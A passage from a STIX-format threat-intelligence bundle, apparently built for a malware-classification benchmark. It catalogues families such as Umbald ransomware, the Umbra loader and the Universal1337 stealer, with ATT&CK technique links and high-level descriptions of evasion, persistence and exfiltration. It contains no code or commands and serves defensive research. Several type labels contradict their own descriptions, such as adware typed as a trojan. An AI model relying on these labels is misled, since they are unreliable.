      "description": "Umbald (classified across antimalware research as Ransom:Win32/Umbald, Trojan-Ransom.Win32.Umbald, and Win32/Umbald) is an aggressive enterprise crypto-ransomware family engineered to compromise Windows corporate environments. Propagated through RDP credential stuffing and multi-stage loaders, Umbald performs host privilege verification and terminates local enterprise database processes (including SQL Server, MySQL, and Oracle) and backup services to release open file locks. Utilizing AES-256 symmetric encryption with an embedded RSA public key, Umbald encrypts high-value documents, source code, and virtual machine images, appending .umbald to filenames. It drops ransom notes titled UMBALD_README.txt detailing cryptocurrency ransom demands and wipes Volume Shadow Copies using administrative command-line utilities. (Observed samples in benchmark: 15)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Umbald",
        "Trojan-Ransom.Win32.Umbald",
        "Win32/Umbald",
        "Umbald Ransomware",
        "Ransom.Umbald"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Umbald",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/umbald"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--33a22027-8dff-522e-8dad-c70ebaab041a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--337b7bcb-4655-52f7-b8bc-2f468397eb42",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Umbald exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--01c3fff4-e78d-51f7-b7bf-297b77e97f19",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--337b7bcb-4655-52f7-b8bc-2f468397eb42",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Umbald exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--85e952f2-f2f3-590b-8c03-e860fbf5afc4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--337b7bcb-4655-52f7-b8bc-2f468397eb42",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Umbald exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--512d6306-8a78-509b-9b5f-3bc2dbfe6365",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--337b7bcb-4655-52f7-b8bc-2f468397eb42",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Umbald exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e245ba33-8058-5327-bf57-1a714f40ea8f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--337b7bcb-4655-52f7-b8bc-2f468397eb42",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Umbald exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--63a3231b-554b-5cea-8699-0cee4d4512b7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Umbra",
      "description": "Umbra (cataloged as Umbra Loader, Trojan:Win32/Umbra, and Backdoor:Win32/Umbra) is an underground modular HTTP botnet loader and malware distribution framework active since 2012. Developed in C++ and commercialized across cybercrime forums, Umbra was specifically architected to provide threat actors with reliable initial access staging and automated secondary payload deployment. The loader incorporates advanced evasion modules, including ring3 user-mode API hooking, anti-virtualization routines that inspect BIOS serial numbers and hypervisor artifacts, and a built-in 'Botkill' engine engineered to discover and eliminate rival malware families residing on the compromised host. Once operational, Umbra establishes HTTP-based command-and-control communications, periodically polling operator servers for encoded tasking. It injects downloaded executable payloads directly into legitimate operating system processes\u2014such as explorer.exe or svchost.exe\u2014utilizing process hollowing to evade endpoint file-integrity scanners, while maintaining persistence via obfuscated Windows Scheduled Tasks and Registry Run keys. (Observed samples in benchmark: 111)",
      "is_family": true,
      "malware_types": [
        "downloader",
        "dropper"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Umbra Loader",
        "Trojan:Win32/Umbra",
        "Backdoor:Win32/Umbra",
        "Trojan.Win32.Umbra",
        "Win32/UmbraLoader"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Umbra",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/umbra"
        }
      ],
      "labels": [
        "loader",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4e6819d4-741c-5050-8303-c286243eb1a8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--63a3231b-554b-5cea-8699-0cee4d4512b7",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Umbra exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--06e9ce25-1da3-59d6-9510-8052c068cae5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--63a3231b-554b-5cea-8699-0cee4d4512b7",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Umbra exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8784e31b-e0ce-5f2c-9c60-bb1ed6fa02ab",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--63a3231b-554b-5cea-8699-0cee4d4512b7",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Umbra exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d1570147-59b2-504a-b0f0-ba939bf8ff16",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--63a3231b-554b-5cea-8699-0cee4d4512b7",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Umbra exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fa56d1f8-3288-50e9-ba4c-43d6ca1d86ce",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--63a3231b-554b-5cea-8699-0cee4d4512b7",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Umbra exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e6727a6d-0bea-5a8d-acb3-62a8a7c7124a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--63a3231b-554b-5cea-8699-0cee4d4512b7",
      "target_ref": "attack-pattern--aa0c4501-5d70-5f02-83ed-46c2180b3277",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Umbra exhibits technique T1497.001 (Virtualization/Sandbox Evasion: System Checks)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--5a1a7706-a2c8-5df3-971b-386f01663c34",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Umgfxgkazyg",
      "description": "<h3>Executive Summary</h3>\n\"umgfxgkazyg\" is a heuristic identifier for a highly obfuscated, generically detected Trojan or Dropper. The naming convention (which appears as random, machine-generated gibberish) strongly suggests that this malware was detected dynamically by an antivirus engine's generic heuristic analysis or machine-learning model, indicating a severe attempt by the malware to evade static signature detection.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nMalware utilizing these generic evasion techniques is typically distributed \"filelessly\" via drive-by downloads originating from compromised websites (exploit kits) or as a secondary payload dropped by an initial access broker.\n\nUpon execution, this class of malware prioritizes rapid evasion and payload execution:\n<ul>\n<li><strong>Heavy Obfuscation and Packing:</strong> The executable is heavily packed, encrypted, or virtualized. This prevents security researchers and standard antivirus engines from analyzing its true code until it is unpacked in memory.</li>\n<li><strong>Process Injection:</strong> Rather than executing directly, the malware frequently utilizes Process Hollowing or DLL Injection to insert its malicious code into a legitimate Windows process (e.g., `explorer.exe` or `svchost.exe`). This allows it to bypass application whitelisting and hide its activity from the Task Manager.</li>\n<li><strong>Secondary Payload Delivery:</strong> umgfxgkazyg typically functions as a loader. Once persistence and stealth are achieved, it communicates with a C2 server to download the primary payload, which could be anything from a cryptominer to ransomware.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nDetection of highly obfuscated, generically named files in critical system directories (like `%AppData%` or `%Temp%`) is a severe indicator of compromise (IoC). It almost guarantees that an advanced threat actor has bypassed initial perimeter defenses and achieved code execution on the endpoint.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Behavioral Analysis (EDR):</strong> Static signature-based AV is largely ineffective against polymorphic threats. Eradication requires an Endpoint Detection and Response (EDR) solution capable of monitoring and terminating processes based on malicious behavior.</li>\n<li><strong>Network Isolation:</strong> Isolate the machine immediately to prevent the malware from phoning home to its C2 infrastructure or pivoting laterally across the network.</li>\n<li><strong>Complete Re-imaging:</strong> Due to the sophisticated evasion techniques employed, attempting to manually \"clean\" the system is highly risky. The most secure remediation is a complete bare-metal wipe and re-image from a trusted backup.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Generic.umgfxgkazyg",
        "Malware.Obfuscated",
        "Win32/Trojan.Heur"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Umgfxgkazyg",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/umgfxgkazyg"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b1fe398c-68fc-50e6-a3d1-9e5e16fe93f3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5a1a7706-a2c8-5df3-971b-386f01663c34",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Umgfxgkazyg exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9dbeda7a-bd4f-50f6-aea6-978da82f72f7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5a1a7706-a2c8-5df3-971b-386f01663c34",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Umgfxgkazyg exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b8beb0a1-7cba-5956-8313-bdd9a5888375",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5a1a7706-a2c8-5df3-971b-386f01663c34",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Umgfxgkazyg exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b0d7ff0a-dab2-5f0f-acb6-7e4f9726142b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5a1a7706-a2c8-5df3-971b-386f01663c34",
      "target_ref": "attack-pattern--ec9111f9-546d-56c3-9df3-02f39623a470",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Umgfxgkazyg exhibits technique T1106 (Native API)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--98169995-a00f-521f-8d7d-529f05a1dd18",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Umqabaxnjogc",
      "description": "<h3>Executive Summary</h3>\n\"umqabaxnjogc\" is a heuristic identifier for a highly obfuscated, generically detected Trojan or Dropper. The naming convention (which appears as random, machine-generated gibberish) strongly suggests that this malware was detected dynamically by an antivirus engine's generic heuristic analysis or machine-learning model, indicating a severe attempt by the malware to evade static signature detection.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nMalware utilizing these generic evasion techniques is typically distributed \"filelessly\" via drive-by downloads originating from compromised websites (exploit kits) or as a secondary payload dropped by an initial access broker.\n\nUpon execution, this class of malware prioritizes rapid evasion and payload execution:\n<ul>\n<li><strong>Heavy Obfuscation and Packing:</strong> The executable is heavily packed, encrypted, or virtualized. This prevents security researchers and standard antivirus engines from analyzing its true code until it is unpacked in memory.</li>\n<li><strong>Process Injection:</strong> Rather than executing directly, the malware frequently utilizes Process Hollowing or DLL Injection to insert its malicious code into a legitimate Windows process (e.g., `explorer.exe` or `svchost.exe`). This allows it to bypass application whitelisting and hide its activity from the Task Manager.</li>\n<li><strong>Secondary Payload Delivery:</strong> umqabaxnjogc typically functions as a loader. Once persistence and stealth are achieved, it communicates with a C2 server to download the primary payload, which could be anything from a cryptominer to ransomware.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nDetection of highly obfuscated, generically named files in critical system directories (like `%AppData%` or `%Temp%`) is a severe indicator of compromise (IoC). It almost guarantees that an advanced threat actor has bypassed initial perimeter defenses and achieved code execution on the endpoint.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Behavioral Analysis (EDR):</strong> Static signature-based AV is largely ineffective against polymorphic threats. Eradication requires an Endpoint Detection and Response (EDR) solution capable of monitoring and terminating processes based on malicious behavior.</li>\n<li><strong>Network Isolation:</strong> Isolate the machine immediately to prevent the malware from phoning home to its C2 infrastructure or pivoting laterally across the network.</li>\n<li><strong>Complete Re-imaging:</strong> Due to the sophisticated evasion techniques employed, attempting to manually \"clean\" the system is highly risky. The most secure remediation is a complete bare-metal wipe and re-image from a trusted backup.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Generic.umqabaxnjogc",
        "Malware.Obfuscated",
        "Win32/Trojan.Heur"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Umqabaxnjogc",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/umqabaxnjogc"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--068ab62a-61b4-506e-b05f-2c81718beb11",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--98169995-a00f-521f-8d7d-529f05a1dd18",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Umqabaxnjogc exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--98214ba8-1b3c-5c2f-aab6-574863162bbc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--98169995-a00f-521f-8d7d-529f05a1dd18",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Umqabaxnjogc exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2b4fefad-0ab8-5bc8-ba8f-09a6d6935be9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--98169995-a00f-521f-8d7d-529f05a1dd18",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Umqabaxnjogc exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8ba92401-88c8-5e4b-a4ce-8cff99fbd59f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--98169995-a00f-521f-8d7d-529f05a1dd18",
      "target_ref": "attack-pattern--ec9111f9-546d-56c3-9df3-02f39623a470",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Umqabaxnjogc exhibits technique T1106 (Native API)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a25acbfc-ea95-514a-9607-e048d9d973b3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Uniblue",
      "description": "Uniblue (cataloged across security vendors and antimalware engines under detections including PUA:Win32/Uniblue, Program:Win32/Uniblue, and PUP.Optional.Uniblue) represents a family of Potentially Unwanted Applications and system optimizer software suites produced by Uniblue Systems, including RegistryBooster, SpeedUpMyPC, and DriverScanner. While marketed as commercial Windows maintenance tools, these programs employ deceptive marketing practices, exaggerated diagnostic scan results, and aggressive scareware prompts designed to convince users that harmless or normal registry entries constitute critical system errors requiring paid software licenses. Uniblue applications frequently install via bundled freeware wrappers, configure persistent autostart services under Windows CurrentVersion\\Run, and trigger recurring pop-up alerts. Antivirus vendors classify Uniblue utilities as Potentially Unwanted Applications due to their misleading notifications, invasive bundling distribution mechanisms, and negligible performance benefits. (Observed samples in benchmark: 74)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "PUA:Win32/Uniblue",
        "Program:Win32/Uniblue",
        "PUP.Optional.Uniblue",
        "RegistryBooster"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Uniblue",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/uniblue"
        }
      ],
      "labels": [
        "pua",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--88507840-825a-56e0-9eac-b92c787b2336",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a25acbfc-ea95-514a-9607-e048d9d973b3",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Uniblue exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7ef8fe78-a059-542c-8f92-e76b91fb376e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a25acbfc-ea95-514a-9607-e048d9d973b3",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Uniblue exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0539d999-f39c-5019-b4e5-b6c1ba2d5252",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a25acbfc-ea95-514a-9607-e048d9d973b3",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Uniblue exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8c4da6d7-0d4a-5918-98c1-6a3312181a01",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a25acbfc-ea95-514a-9607-e048d9d973b3",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Uniblue exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--983f5d20-b32f-528d-90c9-61640453e642",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Unigo",
      "description": "<h3>Executive Summary</h3>\nUnigo (often detected as Adware.Unigo or PUP.Unigo) is a prevalent family of aggressive Adware and Potentially Unwanted Programs (PUPs) engineered to monetize an infected user's web browsing activity. It intercepts web traffic, forcefully alters browser configurations, and injects highly intrusive advertisements, posing a significant threat to end-user privacy and degrading network performance.\n\n<h3>Distribution and Technical Behavior</h3>\nUnigo is almost exclusively distributed via deceptive software bundling. It is frequently hidden within \"free\" software installers, fake media players, or disguised as a necessary system utility downloaded from untrustworthy, third-party software portals.\n\nOnce executed, Unigo deeply integrates with the operating system and installed web browsers. Its core behaviors include:\n<ul>\n<li><strong>Browser Hijacking:</strong> Unigo alters the browser's default search engine, homepage, and new tab settings. All search traffic is redirected through an affiliate-linked search portal controlled by the adware operators to generate illicit ad revenue.</li>\n<li><strong>Traffic Interception and Injection:</strong> The software frequently installs malicious browser extensions or a local proxy server to intercept unencrypted web traffic. It overlays legitimate websites with disruptive pop-ups, pop-unders, banner ads, and sponsored in-text hyperlinks.</li>\n<li><strong>Data Harvesting:</strong> It continuously tracks the user's browsing history, search queries, and clickstreams, transmitting this telemetry to remote servers to serve highly targeted advertisements.</li>\n</ul>\n\n<h3>Risk Assessment</h3>\nWhile Unigo does not actively encrypt files or steal banking credentials, it introduces massive operational friction. Furthermore, the injected advertisements and hijacked search results are frequently served by low-reputation ad networks, dramatically increasing the likelihood of \"malvertising\" attacks that can lead to severe secondary infections.\n\n<h3>Mitigation and Removal Strategies</h3>\n<ul>\n<li><strong>Endpoint Scanning:</strong> Utilize a reputable enterprise-grade anti-malware solution to perform a deep system scan, targeting the Unigo executables, hidden scheduled tasks, and persistent registry keys used to maintain its hold on the browser.</li>\n<li><strong>Browser Remediation:</strong> Manually inspect and remove any unknown or unauthorized extensions from all installed web browsers. Perform a complete factory reset of the browsers to clear the hijacked proxy and search settings.</li>\n<li><strong>Application Control:</strong> Enforce strict application whitelisting policies to prevent standard users from executing unapproved software installers that are the primary vector for this adware.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.Unigo",
        "PUP.Unigo",
        "BrowserModifier:Win32/Unigo"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Unigo",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/unigo"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7699ad98-7b0c-5c22-b006-fd8eacd7a915",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--983f5d20-b32f-528d-90c9-61640453e642",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Unigo exhibits technique T1566.002 (Phishing: Spearphishing Link (Social engineering to force the user to download the tool))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ddd32c00-9bec-526e-8670-f025aed4b535",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--983f5d20-b32f-528d-90c9-61640453e642",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Unigo exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8984bd0c-042a-5839-be32-0f854de69200",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--983f5d20-b32f-528d-90c9-61640453e642",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Unigo exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--76857525-4d17-58d8-86cd-c523535cc1e6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Universal1337",
      "description": "Universal 1337 (cataloged across security definitions as Universal1337, Trojan.Universal1337, and Universal1337 by Eddy-K) is an early 2000s credential extraction utility and password stealer created around 2004 by a developer using the handle 'Eddy-K'. Engineered specifically to harvest user credentials from consumer Windows desktop environments, Universal 1337 targeted popular applications of the era, including dial-up internet connections (RAS credentials), MSN Messenger, Yahoo Messenger, ICQ accounts, software license CD keys, and auto-complete web browser passwords. Once executed, the stealer compiled the harvested credentials into an encrypted summary log and transmitted it to attacker infrastructure via automated SMTP email dispatches or direct HTTP POST requests to an operator web gate. Universal 1337 also maintained persistence through user Run keys, periodically scanning for newly entered authentication data.",
      "is_family": true,
      "malware_types": [
        "spyware",
        "credential-stealer"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Universal 1337",
        "Trojan.Universal1337",
        "Universal1337 by Eddy-K",
        "HackTool.Universal1337",
        "Stealer.Universal1337"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Universal1337",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/universal1337"
        }
      ],
      "labels": [
        "infostealer",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a55fcf44-1b49-58e5-8cde-958113b0ec27",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--76857525-4d17-58d8-86cd-c523535cc1e6",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
